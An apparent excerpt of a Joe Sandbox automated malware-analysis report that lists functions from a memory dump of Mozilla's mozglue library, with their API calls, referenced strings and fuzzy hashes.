Instruction ID: 4cbda1d8baff9c18869639c0322d2abd6f1a8692d1077c0ecddc6b8a4c72eeee
Opcode Fuzzy Hash: faae05ef6458a0d61f3fcc102e5004537310eeb8f3ca6046a1601deb9a6cbf9a
Instruction Fuzzy Hash: 5041E6B1F143198FEF409FA8C88ABAA3BB5EF49308F150429E92597F41D7719804CBD2

Function 6CEA7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEA7EA7
malloc.MOZGLUE(00000001), ref: 6CEA7EB3

Part of subcall function 6CEACAB0: EnterCriticalSection.KERNEL32(?), ref: 6CEACB49
Part of subcall function 6CEACAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CEACBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CEA7EC4
mozalloc_abort.MOZGLUE(?), ref: 6CEA7F19
malloc.MOZGLUE(?), ref: 6CEA7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEA7F4D

Strings

d, xrefs: 6CEA7F89

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 54cb5eebee92b4299957b6005ebafd9343385aa96157c388d5b135c66bbebce6
Instruction ID: eb9747ec5b8fac930eb55458c50db7c5f71f559e812a51078d76e7628d2cda0a
Opcode Fuzzy Hash: 54cb5eebee92b4299957b6005ebafd9343385aa96157c388d5b135c66bbebce6
Instruction Fuzzy Hash: 66310771F103489BDB00DB68CC156FEB778EF96608F15922DDC499B612FB31A689C391

Function 6CEA3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CEA3EEE
RtlFreeHeap.NTDLL ref: 6CEA3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CEA4006
RtlFreeHeap.NTDLL ref: 6CEA40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CEA3CCC), ref: 6CEA40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CEA3CCC), ref: 6CEA40C2
RtlFreeHeap.NTDLL ref: 6CEA4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CEA3CCC), ref: 6CEA4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CEA3CCC), ref: 6CEA4157

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 2a925d1811ba0f7d2820d25c9b4f45a87c8e6d966bd7f6333491adf5c6c08cb4
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: DCA17DB5A00205CFDB40CFA9C8C0659B7B5BF48308F35419AD909AF742D771E887CBA1

Function 6CEE9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CEE8273), ref: 6CEE9D65
free.MOZGLUE(6CEE8273,?), ref: 6CEE9D7C
free.MOZGLUE(?,?), ref: 6CEE9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CEE9E0F
free.MOZGLUE(6CEE946B,?,?), ref: 6CEE9E24
free.MOZGLUE(?,?,?), ref: 6CEE9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CEE9EC8
free.MOZGLUE(6CEE946B,?,?,?), ref: 6CEE9EDF
free.MOZGLUE(?,?,?,?), ref: 6CEE9EF5

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 2540283aff5af14abcc564d932dff1a268958b8a92d1436ccf46f49c47a1a4cf
Instruction ID: 2737f3b11e0e72414bf4a3dfdb67f308bc3cc86d311c25ceab419ecbb0587ec1
Opcode Fuzzy Hash: 2540283aff5af14abcc564d932dff1a268958b8a92d1436ccf46f49c47a1a4cf
Instruction Fuzzy Hash: 9B719F7090AB419BC712CF18C5405ABF3F5FF99319B54861DE95A5BB11EB30F885CB81

Function 6CEEDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CEEDDCF

Part of subcall function 6CECFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CECFA4B

Part of subcall function 6CEE90E0: free.MOZGLUE(?,00000000,?,?,6CEEDEDB), ref: 6CEE90FF
Part of subcall function 6CEE90E0: free.MOZGLUE(?,00000000,?,?,6CEEDEDB), ref: 6CEE9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CEEDE0D
free.MOZGLUE(00000000), ref: 6CEEDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CEEDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CEEDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CEEDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CEDDEFD,?,6CEA4A68), ref: 6CEEDF32

Part of subcall function 6CEEDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CEEDB86
Part of subcall function 6CEEDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CEEDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CEDDEFD,?,6CEA4A68), ref: 6CEEDF65
free.MOZGLUE(?), ref: 6CEEDF80

Part of subcall function 6CEB5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CEB5EDB
Part of subcall function 6CEB5E90: memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CEB5F27
Part of subcall function 6CEB5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CEB5FB2

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 04164dab10fc3b97100bc3dfedbffb9787078f024d0524a0d17eec91049f9f72
Instruction ID: 64f2b31c3b73dc19f3315e84a8cffb43c1f0e39bc511c2a8fb001ccd1a4544dc
Opcode Fuzzy Hash: 04164dab10fc3b97100bc3dfedbffb9787078f024d0524a0d17eec91049f9f72
Instruction Fuzzy Hash: 1951D97AA016009BD711CB28C8847AE7376BFD939CFB6011CD81A53B10D731FA19CB92

Function 6CEF5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CEF5C8C,?,6CECE829), ref: 6CEF5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CEF5C8C,?,6CECE829), ref: 6CEF5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CEF5C8C,?,6CECE829), ref: 6CEF5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CEF5C8C,?,6CECE829), ref: 6CEF5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CEF5C8C,?,6CECE829), ref: 6CEF5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CEF5C8C,?,6CECE829), ref: 6CEF5DC9
std::_Facet_Register.LIBCPMT ref: 6CEF5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CEF5C8C,?,6CECE829), ref: 6CEF5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CEF5C8C,?,6CECE829), ref: 6CEF5E45

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 731e6edab5d80d2fdcff55b7e01bd70b20ccffeb6b7d9cf603ee970ec2980a42
Instruction ID: aba170bd20b4897d779582d079e000c39e3d3dcbdee3eb81ce6f93417ea83515
Opcode Fuzzy Hash: 731e6edab5d80d2fdcff55b7e01bd70b20ccffeb6b7d9cf603ee970ec2980a42
Instruction Fuzzy Hash: EC41D371B113048FCB04DFA4C899BAE77B6EF49318F258068D51A97781DB35D806CB61

Function 6CECCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CE931A7), ref: 6CECCDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CECCFA4, 6CECCFB8
<jemalloc>, xrefs: 6CECCF9F, 6CECCFB3

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: dfc4200c5957c3d1e2cc1457ee093146d6e56de36679c71323d2c3e24c61ad5e
Instruction ID: c417b51b556a804d0190e000e40b1f937883631e6e0c171004217620168c4a94
Opcode Fuzzy Hash: dfc4200c5957c3d1e2cc1457ee093146d6e56de36679c71323d2c3e24c61ad5e
Instruction Fuzzy Hash: D631C570B542059BFF10AFA58D46BAE7BB5AB4671CF314419F630ABF80DB70D4018BA2

Function 6CE9ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE9F100: LoadLibraryW.KERNEL32(shell32,?,6CF0D020), ref: 6CE9F122
Part of subcall function 6CE9F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CE9F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CE9ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE9EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CE9EDCC
CreateFileW.KERNEL32 ref: 6CE9EE08
free.MOZGLUE(00000000), ref: 6CE9EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CE9EE32

Part of subcall function 6CE9EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CE9EBB5
Part of subcall function 6CE9EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CECD7F3), ref: 6CE9EBC3
Part of subcall function 6CE9EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CECD7F3), ref: 6CE9EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CE9EDC1

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 53d438cd51e758ba6220a24ca9091b58ade0db30ba9d4bc76efc3b7b82652a24
Instruction ID: 316328a635956e048375a25c2f931db7a739bc9e0fa8c87fb9cbb038a0b8305d
Opcode Fuzzy Hash: 53d438cd51e758ba6220a24ca9091b58ade0db30ba9d4bc76efc3b7b82652a24
Instruction Fuzzy Hash: 5351BE71E057049BDB009F68C8547EEB7B0BF4A31CF64842DE9556BB80E731A949C7A2

Function 6CF0A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CF0A565

Part of subcall function 6CF0A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF0A4BE
Part of subcall function 6CF0A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF0A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CF0A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CF0A6B6

Strings

z, xrefs: 6CF0A6AE
0, xrefs: 6CF0A5FB

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: c78eebfed1baada500001fad51c8297af5007d90395adca7dc5e310eaf37544c
Instruction ID: 202abdee408213d1edf498005bc2db2160e2ac274594473f68402229c2b06a97
Opcode Fuzzy Hash: c78eebfed1baada500001fad51c8297af5007d90395adca7dc5e310eaf37544c
Instruction Fuzzy Hash: 7F414471A087459FC341DF28C090A8BBBF5BF89344F508A2EF49987650EB30E649DB83

Function 6CE978C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CF1008B), ref: 6CE97B89
free.MOZGLUE(?,6CF1008B), ref: 6CE97BAC

Part of subcall function 6CE978C0: free.MOZGLUE(?,6CF1008B), ref: 6CE97BCF

free.MOZGLUE(?,6CF1008B), ref: 6CE97BF2

Part of subcall function 6CEB5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CEB5EDB
Part of subcall function 6CEB5E90: memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CEB5F27
Part of subcall function 6CEB5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CEB5FB2

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 54ea305b721f346f89b52388b04e186eaf17100ea2ab09fe391d8db20445399b
Instruction ID: fe3111647089fd3d7e93d5788fe4fa2000ec2366aa6761ec6ca495536ee97c6c
Opcode Fuzzy Hash: 54ea305b721f346f89b52388b04e186eaf17100ea2ab09fe391d8db20445399b
Instruction Fuzzy Hash: 41C1A771E011288BEB24CB28CC90B9DB772BF42318F354399D51AA7BD1D7319E898F51

Function 6CED9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CECAB89: EnterCriticalSection.KERNEL32(6CF1E370,?,?,?,6CE934DE,6CF1F6CC,?,?,?,?,?,?,?,6CE93284), ref: 6CECAB94
Part of subcall function 6CECAB89: LeaveCriticalSection.KERNEL32(6CF1E370,?,6CE934DE,6CF1F6CC,?,?,?,?,?,?,?,6CE93284,?,?,6CEB56F6), ref: 6CECABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CEA4A68), ref: 6CED945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CED9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CED9482
__Init_thread_footer.LIBCMT ref: 6CED949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6CED947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CED946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CED9459

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 024f2287d00ffa9b89a3b041fc4d6ca093efa751041a0df5fdc4bb6c1c56e277
Instruction ID: e3cd21e61179d5613d789ec9eacb854c9c19f29bedf440508d0852c69d98d9e7
Opcode Fuzzy Hash: 024f2287d00ffa9b89a3b041fc4d6ca093efa751041a0df5fdc4bb6c1c56e277
Instruction Fuzzy Hash: C5012830E041008BE780DB5DEC62B4533749B0632DF26453FE806C7F42DA23E9568957

Function 6CEE0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CEE0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CEE0F88
GetCurrentThreadId.KERNEL32 ref: 6CEE0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CEE1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CEE10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CEE114B

Part of subcall function 6CED8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CEF1563), ref: 6CED8BD5

free.MOZGLUE(?), ref: 6CEE1174
free.MOZGLUE(?), ref: 6CEE1186

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 5951281f09d18ca6b4d94542989ec93aeaf5810755cf7836f0e80471498b7e3f
Instruction ID: aa77f884c152e9f8e469a0abc940772f06c38d0095860914551906377741f9ef
Opcode Fuzzy Hash: 5951281f09d18ca6b4d94542989ec93aeaf5810755cf7836f0e80471498b7e3f
Instruction Fuzzy Hash: 25610776A043409FDB10CF65C88079AB7F5BFC9348F25491DE88947712EB31E589CB82

Function 6CE9B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CE9B61E,?,?,?,?,?,00000000), ref: 6CE9B6AC

Part of subcall function 6CEACA10: malloc.MOZGLUE(?), ref: 6CEACA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CE9B61E,?,?,?,?,?,00000000), ref: 6CE9B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CE9B61E,?,?,?,?,?,00000000), ref: 6CE9B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CE9B61E,?,?,?,?,?,00000000), ref: 6CE9B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CE9B61E,?,?,?,?,?,00000000), ref: 6CE9B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CE9B61E), ref: 6CE9B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CE9B61E,?,?,?,?,?,00000000), ref: 6CE9B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CE9B61E,?,?,?,?,?,00000000), ref: 6CE9B79A

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 479270d59e41b36d9d2152f406691e3b0200689b6e4f316c1dbb5fdc038a91c4
Instruction ID: 350377012743f0cf1beaee365c6d7dfaeea6d2dcc95754f01fb4543a4171a8d1
Opcode Fuzzy Hash: 479270d59e41b36d9d2152f406691e3b0200689b6e4f316c1dbb5fdc038a91c4
Instruction Fuzzy Hash: C341A1B2E002159FCB14DF68DC906AFB7B5BB45324B350769E825E7780E731A90587E1

Function 6CE9EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CF15104), ref: 6CE9EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE9EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE9EFEC
free.MOZGLUE(?), ref: 6CE9F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE9F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6CE9F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CE9F065
moz_xmalloc.MOZGLUE ref: 6CE9F072

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 0097c4685848138a9d51302307fcf65642338453439e7f9354264e2945784412
